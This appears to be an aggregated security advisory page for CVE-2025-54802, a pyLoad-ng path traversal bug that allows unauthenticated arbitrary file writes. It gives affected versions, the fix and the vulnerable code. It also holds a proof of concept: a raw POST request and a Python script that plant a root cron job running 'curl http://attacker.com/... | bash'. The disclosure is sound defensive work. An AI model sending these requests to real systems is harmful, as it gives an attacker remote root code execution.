PYLOAD-NG · CVE-2025-54802 · Package
FIX → 0.5.0b3.dev90
pyLoad-ng's /addcrypted endpoint builds a file path from the package form field without stripping traversal sequences, so an unauthenticated request can write files anywhere the process can write. The advisory says an attacker can overwrite cron jobs or systemd services to run code as root.
first public Aug 2, 2025 · 2 sources
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Teams that run pyLoad-ng with its web interface and CNL blueprint enabled, especially if the interface is reachable from a network the team does not fully trust. The advisory describes the flaw as reachable without authentication, so exposure depends on whether the endpoint is reachable at all. unknown for whether default configurations expose the endpoint.
Not affected if auth-required, default-config
Who cares pyload, python, self-hosted
pip show pyload-ng; versions at or below 0.5.0b3.dev89 are affected.POST /addcrypted.Upgrade to 0.5.0b3.dev90
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
POST /addcryptedsrc/pyload/webui/app/blueprints/cnl_blueprint.py dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
(dlc_path, mode=) fp:
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pyload-ng 0.5.0b3.dev90 (fixed version per the product ranges).POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
Decoded payload:
* * * * * root curl -s http://attacker.com/r.sh | bash
Send crafted POST
import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={
"package": "../../../../etc/cron.d/exploit",
"crypted": b64
})
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.